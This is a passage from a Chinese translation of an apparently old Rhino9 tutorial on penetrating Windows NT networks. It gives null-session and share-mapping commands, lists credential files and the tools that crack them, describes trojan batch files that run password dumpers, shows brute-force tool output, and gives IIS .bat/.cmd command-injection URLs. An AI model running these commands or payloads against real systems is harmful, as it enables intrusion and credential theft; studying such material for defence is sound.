中第一个要探讨的重要课题。

用NetBIOS进行信息收集相当容易，虽然要花费一点时间。NetBIOS一般被看作是开销
很大的大容量协议，速度往往很慢，这也就是要耗费时间的原因。

如果端口扫描程序报告端口139在目标机上是开放的，那么接下来就是一个很自然的
过程。第一步是发出NBTSTAT命令。

NBTSTAT命令可以用来查询涉及到NetBIOS信息的网络机器。另外，它还可以用来消除
NetBIOS高速缓存器和预加载LMHOSTS文件。这个命令在进行安全检查时非常有用。

用法：nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s]
[interval]

参数-a列出为其主机名提供的远程计算机名字表。
-A列出为其IP地址提供的远程计算机名字表。
-c列出包括了IP地址的远程名字高速缓存器。
-n列出本地NetBIOS名字。
-r列出通过广播和WINS解析的名字。
-R消除和重新加载远程高速缓存器名字表。
-S列出有目的地IP地址的会话表。
-s列出会话表对话。

NBTSTAT生成的列标题具有以下含义：

Input
接收到的字节数。

Output
发出的字节数。

In/Out
无论是从计算机（出站）还是从另一个系统连接到本地计算机（入站）。

Life
在计算机消除名字表高速缓存表目前“度过”的时间。

Local Name
为连接提供的本地NetBIOS名字。

Remote Host
远程主机的名字或IP地址。

Type
一个名字可以具备两个类型之一：unique or group

在16个字符的NetBIOS名中，最后一个字节往往有具体含义，因为同一个名可以在同
一台计算机上出现多次。这表明该名字的最后一个字节被转换成了16进制。

State
NetBIOS连接将在下列“状态”（任何一个）中显示：

状态含义：
Accepting: 进入连接正在进行中。
Associated: 连接的端点已经建立，计算机已经与IP地址联系起来。
Connected: 这是一个好的状态！它表明您被连接到远程资源上。
Connecting: 您的会话试着解析目的地资源的名字-IP地址映射。
Disconnected: 您的计算机请求断开，并等待远程计算机作出这样的反应。
Disconnecting: 您的连接正在结束。
Idle: 远程计算机在当前会话中已经打开，但现在没有接受连接。
Inbound: 入站会话试着连接。
Listening: 远程计算机可用。
Outbound: 您的会话正在建立TCP连接。
Reconnecting: 如果第一次连接失败，就会显示这个状态，表示试着重新连接。

下面是一台机器的NBTSTAT反应样本：
C:\>nbtstat –A x.x.x.x

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIFQUE Registered
DATARAT <01> UNIQUE Registered

MAC Address = 00-00-00-00-00-00

您通过下表能掌握有关该机器的哪些知识呢？

名称编号类型的使用：

00 U 工作站服务
01 U 邮件服务
\\_MSBROWSE_ 01 G 主浏览器
03 U 邮件服务
06 U RAS服务器服务
1F U NetDDE服务
20 U 文件服务器服务
21 U RAS客户机服务
22 U Exchange Interchange
23 U Exchange Store
24 U Exchange Directory
30 U 调制解调器共享服务器服务
31 U 调制解调器共享客户机服务
43 U SMS客户机远程控制
44 U SMS管理远程控制工具
45 U SMS客户机远程聊天
46 U SMS客户机远程传输
4C U DEC Pathworks TCP/IP服务
52 U DEC Pathworks TCP/IP服务
87 U Exchange MTA
6A U Exchange IMC
BE U网络监控代理
BF U网络监控应用
03 U邮件服务
00 G域名
1B U域主浏览器
1C G域控制器
1D U主浏览器
1E G浏览器服务选择
1C G Internet信息服务器
00 U Internet信息服务器
[2B] U Lotus Notes服务器
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan网关服务

Unique (U): 该名字可能只有一个分配给它的IP地址。在网络设备上，一个要注册的名字
可以出现多次，但其后缀是唯一的，从而使整个名字是唯一的。

Group (G): 一个正常的群；一个名字可以有很多个IP地址。

Multihomed (M): 该名字是唯一的，但由于在同一台计算机上有多个网络接口，这个配置
可允许注册。这些地址的最大编号是25。

Internet Group (I): 这是用来管理WinNT域名的组名字的特殊配置。

Domain Name (D): NT 4.0提供的新内容。

网络入侵者可以通过上表和从nbtstat获得的输出信息开始收集有关您的机器的信息。
有了这些信息，网络入侵者就能在一定程度上断定有哪些服务正在目标机上运行，有时也
能断定已经安装了哪些软件包。
从传统上讲，每个服务或主要的软件包都具有一定的脆弱性，因此，这一类型的信息
对网络入侵者当然有用。

第二个逻辑步骤是通过远程机收集可能的用户名。网络登录包括两个部分：用户名和
口令。一旦网络入侵者掌握了有效的用户列表，他就能获得一半的有效登录信息。现在，
采用了nbtstat命令，网络入侵者就能掌握从本地注册到该台机器上的任何人的登录名。
在通过nbtstat命令得到的结果中，采用<03>识别符的表目是用户名或机器名。另外，还
可以通过空IPC会话和SID工具来收集用户名（详细内容见“SID工具”，附录B）。

IPC$（进程间通信）共享是NT主机上一个标准的隐藏共享，主要用于服务器到服务器
的通信。NT主机用来互相连接并通过这个共享来获得各种必要的信息。鉴于在各种操作系
统中都有很多设计特征，网络入侵者已经懂得利用这种特征来达到他们的目的。通过连接
这个共享，网络入侵者从技术上就能够实现与您的服务器的有效连接。通过与这个共享的
空连接，网络入侵者就能够在不需要提供任何身份证明的情况下建立这一连接。

要与IPC$共享进行空连接，网络入侵者就在命令提示符下发出如下命令：

c:\>net use \\[目标主机的IP地址]\ipc$ "" /user:""

如果连接成功，网络入侵者就会有很多事情要做，而不是收集用户列表，不过他是以
收集用户列表开始的。如上所述，这个方法需要一个空IPC会话和SID工具。由
Evgenii Rudnyi编写的SID工具包括两个不同的部分：User2sid和Sid2user。User2sid采
用一个帐户名字或群组，给您一个对应的SID。而Sid2user采用一个SID，给您对应的用户
或群组的名字。作为一个独立的工具，这个进程是手工进行的，要消耗大量的时间。

Userlist.pl是Mnemonix编写的一个perl脚本，它将使这个SID进程自动化，从而大大
缩短网络入侵者收集这些消息所花费的时间。

这时，网络入侵者就会了解到哪些服务正在远程机上运行以及已经安装了哪些主要的
软件包（有限的），同时还能得到该机器上有效的用户名和群组列表。尽管这似乎是一个
外来者所要掌握的有关您的网络的信息，但是，空IPC会话已经为信息收集留下了其它隐
患。目前，Rhino9小组已经能够检索远程机的全部固有安全约束规则。帐户封锁、最小口
令长度、口令使用周期、口令唯一性设置以及每一个用户、他们所归属的群组以及该用户
的个人域限制等所有信息都可以通过一个空IPC会话获得。这个信息收集功能将在近期发
布的Leviathan工具（由Rhino9小组编写）中提供。下面将对目前可用的一些工具进行探
讨，这些工具可用来通过空IPC会话收集更多的信息。

有了这个空IPC会话，网络入侵者也能获得网络共享列表，否则就无法得到。为此，
网络入侵者希望了解到在您的机器上有哪些可用的网络共享。为了收集到这些信息，要采
用下列这个标准的net view命令：

c:\>net view \\[远程主机的IP地址]

根据目标机的安全约束规则，可以拒绝或不拒绝这个列表。举例如下（因某种原因IP
地址已省略）：

C:\>net view \\0.0.0.0
System error 5 has occurred.

Access is denied.

C:\>net use \\0.0.0.0\ipc$ "" /user:""
The command completed successfully.

C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0

Share name Type Used as Comment

-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.

正如您所看到的，该服务器上的共享列表在建立了空IPC会话后才可用。这时，您就
会意识到这个IPC连接有多么的危险，但我们现在已经掌握的IPC方法实际上是很基本的方
法。与IPC共享一起出现的可能性还有待进一步研究。

WindowsNT 4.0资源工具的发布使得象管理员和网络入侵者这样的人能够用到新的工
具。下面对一些资源工具实用程序进行描述。Rhino9小组运用这些实用程序与IPC$空会话
一起收集信息。当您阅读这些工具的描述以及它们所提供的信息时，请记住：所采用的空
会话不向远程网络提供任何真实的身份证明。

UsrStat: 这个命令行实用程序显示特定域中各个用户的用户名、全名以及最后一次登
录的日期和时间。下面是根据远程网络通过一个空IPC会话采用这个工具进行的实际剪切和
粘贴：

C:\NTRESKIT>usrstat domain4
Users at \\STUDENT4
Administrator - - logon: Tue Nov 17 08:15:25 1998
Guest - - logon: Mon Nov 16 12:54:04 1998
IUSR_STUDENT4 - Internet Guest Account - logon: Mon Nov 16 15:19:26 1998
IWAM_STUDENT4 - Web Application Manager account - logon: Never
laurel - - logon: Never
megan - - logon: Never

我们现在来探讨一下整个俘获过程是怎么样发生的，以便于加深读者的理解。在真正
的攻击发生前，把一个映射放到通过#PRE/#DOM标记映射Student4机器及其域活动状态的
lmhosts文件中（下面详述）。然后把表目预加载到NetBIOS高速缓存器中，同时建立一个
空IPC会话。正如您所看到的，这个命令是根据域名发出的。最后，该工具会向主域控制
器查询这个域。

global: 这个命令行实用程序显示远程服务器或域上全局群组的成员。如上所述，这个实
用程序是与Lmhosts/IPC映射一起使用的。下面是这个global工具的实际俘获。在这个例
子中，“域用户”是WindowsNT域中出现的标准默认全局群组。我们在此采用这个工具向
Domain1查询“域用户”群组中所有用户的列表。

C:\>global “Domain Users” domain1
Bob
SPUPPY$
BILLY BOB$
Bill
IUSR_BILLY BOB
IWAM_BILLY BOB
IUSR_SPUPPY
IWAM_SPUPPY

local: local工具象global工具一样操作，不同之处是，它向机器查询本地群组的成
员，而不是全局群组的成员。下面是local工具向服务器查询其管理员群组列表的例子。

C:\>local “administrators” domain1
Bob
Domain Admins
Bill

NetDom:NetDom是一个向服务器查询它在域中的角色以及向机器查询其PDC的工具。另外，
NetDom工具还与Lmhosts/IPC映射协同工作。下面是该工具的俘获信息及其标准输出：

Querying domain information on computer \\SPUPPY…
The computer \\SPUPPY is a domain controller of DOMAIN4.
Searching PDC for domain DOMAIN4…
Found PDC \\SPUPPY
The computer \\SPUPPY is the PDC of DOMAIN4.

NetWatch：NetWatch是一个向调用该工具的用户提供远程机上的共享列表的工具。同样，
这个工具也能与Lmhosts/IPC映射一起使用。这个工具的缺点是，人们能够利用该工具来
检索远程机上的隐藏共享列表（Rhino9小组已经测试过）。

其它涉及到IPC共享的渗透方法包括打开远程机的注册表以及远程域用户管理器。空
IPC连接使网络入侵者能够对您的注册表进行访问。一旦建立了空IPC会话，网络入侵者就
能启用其本地注册表编辑器实用程序，并尝试连接网络注册表选项。如果尝试成功，入侵
者就会对一定的注册表键具有只读访问权限，甚至是读/写权限。无论如何，就算对注册
表只有只读访问权限，从安全角度来讲这也是非常有害的。

另外，网络入侵者还会利用IPC域用户管理器方法。这个方法鲜为人知。我们在这里
涉及到这个问题是因为它是一个非常有效的入侵方法。这个方法涉及到一个空IPC会话和
输入LMHOSTS文件的表目。LMHOSTS文件（在一般情况下）是一个保存在基于Windows的机
器上的本地文件，用于把NetBIOS名字映射到IP地址。LMHOSTS文件主要用在非WINS环境中
或者不能使用WINS的客户机上，而实际上，网络入侵者可以通过很多种不同的方式来使用
这个文件。我们将在下文中对LMHOSTS文件的不同使用方法进行探讨。现在我们对如何在
这个方法中使用LMHOSTS文件进行论述。

这是一个绝妙的方法，因为它能说明如何把前面介绍的方法与这个方法结合起来使用
从而达到网络入侵者的目的。我们先从端口扫描程序开始，假设端口139是开放的，攻击
者就会发出一个nbtstat命令。然后，他会通过nbtstat结果收集远程机的NetBIOS名字。
让我们来看看得出的nbtstat结果，与前面的结果相同：

C:\>nbtstat -A x.x.x.x

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIQUE Registered
DATARAT <01> UNIQUE Registered

MAC Address = 00-00-00-00-00-00

通过检查nbtstat命令的结果，我们可以找到<03>识别符。如果有人从本地登录到该
机器上，您就会看到两个<03>识别符。在一般情况下，第一个<03>识别符是机器的
netbios名字，第二个<03>识别符是本地登录用户的名字。这时，网络入侵者就会把这台
机器的netbios名字和IP地址映射放到他本地的LMHOSTS文件中，用#PRE和#DOM标签终止表
目。#PRE标签表示应该把表目预加载到netbios高速缓存器中。#DOM标签表示域活动。这
时，网络入侵者就会发出一个nbtstat –R命令，把表目预加载到他的高速缓存器中。从
技术角度来讲，这个预加载会使表目看起来好象已经由一些网络功能解析过，并使名字解
析起来更加快捷。

下一步，网络入侵者会建立一个空IPC会话。一旦成功地建立了空IPC会话，网络入侵
者就能启用域用户管理器的本地拷贝，并在用户管理器中利用选择域功能。接着，远程机
的域就会出现（或者能够人工输入），因为它已经被预加载到高速缓存器中。如果远程机
的安全性没有保障，用户管理器就会显示远程机上所有用户的列表。如果这是通过一个很
缓慢的链接（如28.8K调制解调器）来进行的，那么在一般情况下就不会起作用。但如果
采用较快的网络连接，就会有成效。

既然网络入侵者已经收集到有关您的机器的资料，下一步就是真正渗透您的机器。我
们要探讨的第一个渗透方法是公开文件共享攻击。网络入侵者会把前面提到的net view命
令和net use命令结合起来实现这一攻击。

我们采用前面的net view命令对网络入侵者的攻击进行论述：

C:\> net view \\0.0.0.0
Share name Type Used as Comment

-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.

一旦攻击者掌握了远程共享列表，他就会试着映射到远程共享。这一攻击的命令结构
是：

c:\>net use x: \\0.0.0.0\inetpub

只有当共享不设密码或分配给everyone群组时这一攻击才有效（注：everyone群组表
示每个人。如果有人作为空用户连接，他们现在就是everyone群组的组成部分）。如果这
些参数都正确，攻击者就能把网络驱动器映射到您的机器上并开始一系列的渗透攻击。请
记住：网络入侵者并不局限于把驱动器映射到通过net view命令显示出来的共享上。了解
NT的网络入侵者都知道NT隐藏了管理共享。根据默认值，NT为该机器上的每一个驱动器都
创建IPC$共享和一个隐藏共享（即：一台有C、D和E驱动器的机器会有对应的C$、D$和E$
的隐藏共享）。另外，还有一个直接映射到NT安装路径的隐藏ADMIN$共享（即：如果您把
NT安装在C:\winnt目录下，ADMIN$就映射到该驱动器的确切位置）。Rhino9小组已经注意
到，大多数NT安全界人士似乎都不大重视这个从一台内部NT机渗透另一台内部NT机的概
念。在我们的专业检查过程中，Rhino9小组已经多次完成了这项任务。问题是，如果网络
入侵者是有心的并能得到对您的一台机器的访问权限，他就会悄悄地潜入其余的网络机
器。因此，这些共享攻击会造成严重的威胁。

（旁注：Rhino9小组曾经对位于佛罗里达州的一家大型ISP进行远程渗透检查。我们
先得到其技术人员个人机器上的共享访问权限，然后从那里得到整个网络的访问权限。这
是完全可以办到的。）

首先，有些人可能不会意识到有人在访问您的硬盘时对您的机器所造成的危险。访问
硬盘为收集信息和安放特洛伊木马/病毒提供了新的途径。一般情况下，攻击者会寻找包
含有口令或高度敏感的数据的内容，因为他能利用这些数据来继续深入您的网络。下面列
出的是网络入侵者要寻找和利用的一些文件。我们对每一个文件及其使用方法都进行了简
要的介绍。

Eudora.ini: 这个文件用来存储支持eudora电子邮件软件的配置信息。被称为
eudpass.com的工具会提取个人用户名、口令信息以及网络入侵者需要用来窃取用户邮件
的所有信息。这时，入侵者可以通过配置自己的电子邮件软件来阅读目标邮件。同样，有
些人要花很长时间才能意识到这一危险的存在。但是，要记住，在一般情况下，人都会很
容易地养成习惯的。用户的电子邮件口令与他们用来登录到网络的口令在大多数情况下都
是相同的。现在攻击者要做的就是不断地窥探用户的硬驱，寻找能为他指出该用户业务场
所的用户简历或一些与工作相关的其它文档，从而使他能够对网络发动强大的攻势。

Tree.dat: 这是一个由通用软件CuteFTP用来存储用户ftp站点/用户名/口令的文件。
利用一个称为FireFTP的程序，攻击者就能轻易地破解tree.dat文件。这样，如上所述，
他能不断地收集有关您的信息并对您的业务场所发起攻击。显而易见，如果您在
tree.dat中有一个直接到您业务场所的ftp映射，那么他就能更容易地攻击您的网络。

PWL: PWL一般内置在Win95机上。它们用来为Windows95最终用户存储操作特有的口
令。一个称为glide.exe的工具会破坏PWL文件。另外还有一些介绍如何用计算器人工破坏
这些PWL文件加密的文档。接下来，攻击者会继续收集有关用户的信息并拟订攻击方案。

PWD: PWD文件在运行FrontPage或Personal Webserver的机器上。这些文件包括纯文
本用户名和一个与用来管理Web站点的身份证明资料相匹配的加密口令。用于这些口令的
加密方案是标准的DES方案。众所周知，在internet上提供有很多破坏实用程序的DES。
Solar Designer编写的John the Ripper能非常有效的破坏这些口令。

WS_FTP.ini: 这个ini文件在使用ws_ftp软件的机器上。尽管适用于这个文件的自动
口令析取字最近才被推荐给安全界，但所采用的加密机制还不够强壮。口令是被转换成十
六进制数（2位）的。如果一个数字在N位置，那么N就被增加到该数字上。反向操作就会
破坏这个加密方案。
（这种方法有时也可破坏PMail.ini–Pegasus Mail和Prefs.js–Netscape。）

IDC文件：IDC（internet数据库连接符）文件一般用于从web服务器到数据库的后端
连接。因为这种类型的连接一般都需要身份认证，所以，一些IDC文件包含有纯文本的用
户名/口令。

waruser.dat: 这是适用于通用Win32 FTP服务器——WarFTP的配置文件。这个特殊
的dat文件可包含FTP服务器本身的管理口令。根据作者掌握的资料，这种情况仅在
WarFTP 1.70版中发生。

$winnt$.inf：在WindowsNT的独立安装过程中，安装进程需要信息文件。作为这个
独立安装进程的残余数据，有一个称为$winnt$.inf的文件位于%systemroot%\system32
目录下。这个文件可包含有在安装过程中要使用的帐户的用户名/口令。因为在这些类型
的安装中所使用的帐户一般都需要网络上的允许权限设置，所以这是一件很重要的事。

Sam._：尽管人们很早就知道如果SAM数据库被心怀叵测的人所利用就会出现问题，
但很多人都不记得这个sam._文件了。如果入侵者能够通过网络安装驱动器，那该如何拷
贝SAM数据库呢？一般情况下这是不大可能的，因为您所连接的NT服务器正在运行。当NT
服务器正在运行时，它会锁定SAM。不过，如果管理员已经创建了一个紧急修复盘，SAM的
拷贝就应该位于%systemroot%\repair\目录下。这个文件将命名为sam._。根据默认值，
这个拷贝是人人都可读取的。通过利用samdump实用程序的拷贝，您就能从复制的SAM中转
储用户名/口令。

ExchVerify.log：这个ExchVerify.log文件是由Cheyenne/Innoculan/ArcServe生成
的。一般情况下，它是通过安装Cheyenne/Innoculan/ArcServe软件生成的，内置在进行
软件安装的驱动器的根目录下。这个文件可包含有极其敏感的信息，如下所示：

: ExchAuthenticate() called with
NTServerName:[SAMPLESERVER]
NTDomainName[SAMPLESERVER] adminMailbox:[administrator]
adminLoginName:[administrator]
password:[PASSWORD]

很明显，这个文件包含有入侵者用来进一步破坏您的网络完整性的信息。

Profile.tfm：Profile.tfm是一个由POP3客户机软件AcornMail生成的文件。在撰写
本文时，AcornMail开始引起internet界的广泛关注。在检测该软件时，我们发现它是一
个很有效的POP3客户机，但其安装并不很好地兼容NTFS。在安装完该软件后，我们开始检
查AcornMail生成的文件，发现Profile.tfm文件保存有用户名/口令。一开始，我们断定
该软件完全正常，因为它确实以加密的形式存储口令。接着，我们意识到profile.tfm的
允许权限被设置为Everyone/完全控制。这样就有了问题，因为任何人都能得到该文件的
一个拷贝并把这个文件插入他们自己的AcornMail安装程序中。然后，入侵者就能用已存
储的信息来登录。下面是网络监测器中的俘获信息：

00000000 00 01 70 4C 67 80 98 ED A1 00 01 01 08 00 45 00 ..pLg.........E.
00000010 00 4A EA A7 40 00 3D 06 14 88 CF 62 C0 53 D1 36 .J..@.=....b.S.6
00000020 DD 91 00 6E 04 44 F6 1E 84 D6 00 32 51 EB 50 18 ...n.D.....2Q.P.
00000030 22 38 64 9E 00 00 2B 4F 4B 20 50 61 73 73 77 6F "8d...+OK.Passwo
00000040 72 64 20 72 65 71 75 69 72 65 64 20 66 6F 72 20 rd.required.for.
00000050 68 6B 69 72 6B 2E 0D 0A jjohn...
00000000 98 ED A1 00 01 01 00 01 70 4C 67 80 08 00 45 00 ........pLg...E.
00000010 00 36 A4 02 40 00 80 06 18 41 D1 36 DD 91 CF 62 .6..@....A.6...b
00000020 C0 53 04 44 00 6E 00 32 51 EB F6 1E 84 F8 50 18 .S.D.n.2Q.....P.
00000030 21 AC 99 90 00 00 50 41 53 53 20 67 68 6F 73 74 !.....PASS.xerox
00000040 37 33 0D 0A 63..

如您所看到的，用户名/口令确实是用纯文本传送的。这不是AcornMail的错，但是在
POPvX中已经有问题出现。这个“数据”文件对换/包取样的方法已经由Rhino9小组在大量
的软件上测试过，因此，这一攻击并不局限于AcornMail。

我们已经对入侵者想要得到的文件（如果获得对您的硬驱的访问权限）进行了探讨，
现在我们就来讨论一下安放特洛伊木马。如果有一种方法能使攻击者获得大量的信息，那
就是安放特洛伊木马。公开的文件共享攻击一般都会为安放特洛伊木马提供方便。在最容
易安放和最广为人知的特洛伊木马中，有一个是捆绑在批处理文件中的PWDUMP实用程序。
如果准备妥当，这个批处理文件就会最小化执行（也被称为聪明的文件，如viruscan.cmd
），然后再运行PWDUMP实用程序，在运行了它的进程后删除PWDUMP实用程序，并最终删去
文件本身。它一般都不会留下证据，并会在该台机器上生成一个完美的所有用户名/口令
的文本文件。

“游戏”规则：目标必须是NT主机，执行特洛伊木马程序的最终用户必须是管理员，
这样，攻击者就能把批处理文件放在管理员启动文件夹中，开始等待。当下一次管理员登
录到机器上时，批处理文件就执行和转储用户名/口令。然后，攻击者就会通过文件共享
连接到该机器上并收集结果。

入侵者可能尝试的另一个可靠的攻击方法是把按键记录器批处理文件放到启动文件夹
中。这种方法可适用于任何用户，不仅仅是管理员。这样即可收集所有该用户发出的按键
信息，但没有最初的登录身份资料（这是NT的结构所致，它会在登录过程中终止所有用户
方式进程）。然后，攻击者就可以连接到目标机上并收集记录下的按键信息。

最致命的特洛伊木马攻击之一就是一个以管理员的身份运行并采用AT命令建立预定事
件的批处理文件。因为AT命令能作为系统运行，所以，它能生成SAM数据库和注册表的拷
贝。可以想象得出攻击者采用这种方法时会享受到多么大的乐趣。

如何防止此类攻击呢？不要把文件共享给Everyone群组，并在您的环境中加强口令机
制。如果入侵者遇到一台每次都要向他提示输入身份证明信息的服务器，入侵者就会变得
灰心丧气，随即离开。不过，有耐心的入侵者会继续进行Brute Force攻击。

无庸置疑，Brute Force NetBIOS攻击最常用的工具是NAT。NAT（NetBIOS检查工具）
工具让用户能够通过可能的用户名/口令列表使网络连接命令自动操作。NAT将通过所提供
的列表中的每一个用户名和每一个口令试着连接到远程机上。这是一个很漫长的过程，但
攻击者往往会使用一个常见口令的缩短列表。

一个成功的入侵者会通过上述信息收集方法建立他自己的用户名列表。入侵者准备使
用的口令列表也是通过收集到的信息建立的。他们通常从不充实的口令列表开始，然后根
据用户名建立其余的口令列表。这对于那些能找到给用户名设置的口令的安全专业人士来
说完全是意料之中的事。

攻击者可以指定一个要攻击的IP地址，也可以指定整个范围内的IP地址。NAT会尽力
完成这项任务，并一直生成格式化报告。

下面是通过internet进行真正NAT攻击的实际结果文件。尽管Rhino9小组在进行这一
攻击时获得准许，但为了保护测试目标还是更改了IP地址。

[*]--- Reading usernames from userlist.txt
[*]--- Reading passwords from passlist.txt

[*]--- Checking host: 0.0.0.0
[*]--- Obtaining list of remote NetBIOS names

[*]--- Attempting to connect with name: *
[*]--- Unable to connect

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Tue Oct 14 11:33:46 1997
[*]--- Timezone is UTC-4.0
[*]--- Remote server wants us to encrypt, telling it not to

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMINIS
TRATOR'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `GUEST'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ROOT'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMIN'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `PASSWOR
D'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `PASSWORD'

[*]--- Obtained server information:

Server=[AENEMA] User=[] Workgroup=[STATICA] Domain=[]

[*]--- Obtained listing of shares:

共享名类型注释

ADMIN$ Disk: Remote Admin
C$ Disk: Default share
D$ Disk: Default share
E$ Disk: Default share
HPLaser4 Printer: HP LaserJet 4Si
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
print$ Disk: Printer Drivers

[*]--- This machine has a browse list:

服务器注释
AENEMA

[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$

[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- WARNING: Able to access share: \\*SMBSERVER\D$
[*]--- Checking write access in: \\*SMBSERVER\D$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\D$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\D$

[*]--- Attempting to access share: \\*SMBSERVER\E$
[*]--- WARNING: Able to access share: \\*SMBSERVER\E$
[*]--- Checking write access in: \\*SMBSERVER\E$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\E$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\E$

[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON

[*]--- Attempting to access share: \\*SMBSERVER\print$
[*]--- WARNING: Able to access share: \\*SMBSERVER\print$
[*]--- Checking write access in: \\*SMBSERVER\print$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\print$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\print$

[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access

如果您仔细地查看这些结果，就能找到向攻击者通知该工具已经发现有效用户名/口
令的CONNECTED消息。这时，入侵者只需通过新发现的用户名/口令重新连接到那台机器，
继而进行攻击。

对通过NetBIOS进行远程渗透的探讨到此为止。请记住，上面所讨论的各种方法既不
是静态的，也不是独立的。那些花费大量时间对如何渗透基于NT的网络进行研究的入侵者
很富有创造力，他们不仅利用上述各种方法，而且在使用过程中把这些方法个性化。

通过Web服务器进行的信息收集与渗透
==============================================================================

目前，通过Web服务器进行的信息收集与远程渗透因internet上的人口爆炸以及因此
而导致的信息分布已经是众所周知。在讨论NT Web服务器上的远程渗透和信息收集时，我
们将把重点放在与NT 4.0捆绑在一起的Web服务器——Internet信息服务器上。

尽管有一些要探讨的问题确实过时了，但我们在这里之所以涉及到这些内容，是因为
Rhino9小组在专业检查中发现有些公司在他们的生产环境中仍然运行比较旧的软件版本。

我们从信息收集方法开始谈起。我们将讨论在攻击过程中收集信息的各种方法以及通
过Web服务器获得能在其它类型的攻击中利用的信息。

首先，我们将探讨如何检索目标机上的Web服务器软件包和版本。一些对安全性知识
一无所知的人可能会感到惊讶，为什么会有人想了解目标机的Web服务器版本？软件的不
同版本都具有不同的脆弱性。因此，入侵者希望了解这些Web服务器软件和版本。

用来获取Web服务器软件和版本的最老练的方法是telnet到HTTP端口上的目标主机。
一旦建立了telnet连接，只需发出一个简单的GET命令就能查看到HTTP标题信息，这些信
息包括正被使用的Web服务器软件和版本。

不喜欢使用远程登录或不希望通过标题信息解析的人会尝试着使用好几种方法。第一
个也可能是非成功入侵者中最常用的工具是Netcraft。入侵者可以访问www.netcraft.com
并通过他们的查询引擎从远程目标检索Web服务器信息。Netcraft还可以用来检索所有已
知的Web服务器主机名。例如，如果我们想找到属于someserver.com域的所有Web服务器，
就可以用Netcraft的引擎来查询*.someserver.com，接着它会返回一个该域中所有Web服
务器主机的列表。其它能用来检索Web服务器版本的工具包括1nf0ze（Suld）和Grinder
（Rhino9的horizon）（所有这些工具的URLs见本文结尾处）。

一旦入侵者确定他所接近的是什么样的Web服务器包，即可拟订攻击计划。

注：这一节仅仅对一些较常见的攻击进行介绍。

要涉及到的第一个攻击是.bat/.cmd缺陷。由于这个缺陷已被公开证实，因此我们引
用如下（作者未知。如果其作者有机会阅读本文，请马上通知我们，以便于及时向作者支
付稿酬）。

.bat和.cmd BUG是Netscape服务器中一个众所周知的bug，其描述见WWW安全性常见问
题解答第59个问题。我们对如何在Internet信息服务器中实现这个bug已经介绍过多次。

现在我们来看一看IIS Web服务器的初次安装，其中所有的设定都是默认的：

1） CGI目录是/scripts
2） 在/scripts目录下没有abracadabra.bat或abracadabra.cmd文件。
3） IIS Web服务器把.bat和.cmd扩展名映射到cmd.exe。

因此，注册表关键字

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC
\Parameters\ScriptMap有以下字符串：

a) /scripts/abracadabra.bat?&dir+c:\+?&time
b) /scripts/abracadabra.cmd?&dir+c:\+?&time

同时会发生下列情况：

1） 浏览器询问您想怎样保存一个文档。Notepad.exe或其它阅读器适用于这一“类
型”的应用。
2） 浏览器开始下载对话。屏幕上出现下载窗口。
3） 黑客点击下载窗口上的“取消”按钮，因为服务器上的"time"命令永远不会终
止。
4） IIS Web服务器不会在服务器端记录任何信息，因为执行进程没有成功地终止！
！！（幸亏采用了"time"命令。）想了解究竟发生了什么事情的唯一方法是检查所有的NT
安全记录。但是，这些记录不包含象REMOTE_IP这样的信息。因此，黑客的机器是完全匿
名的。

我们再重新开始：

1） IIS Web服务器允许黑客通过输入
/scripts/abracadabra.bat?&COMMAND1+?&COMMAND2+?&...+?&COMMANDN来执行他的
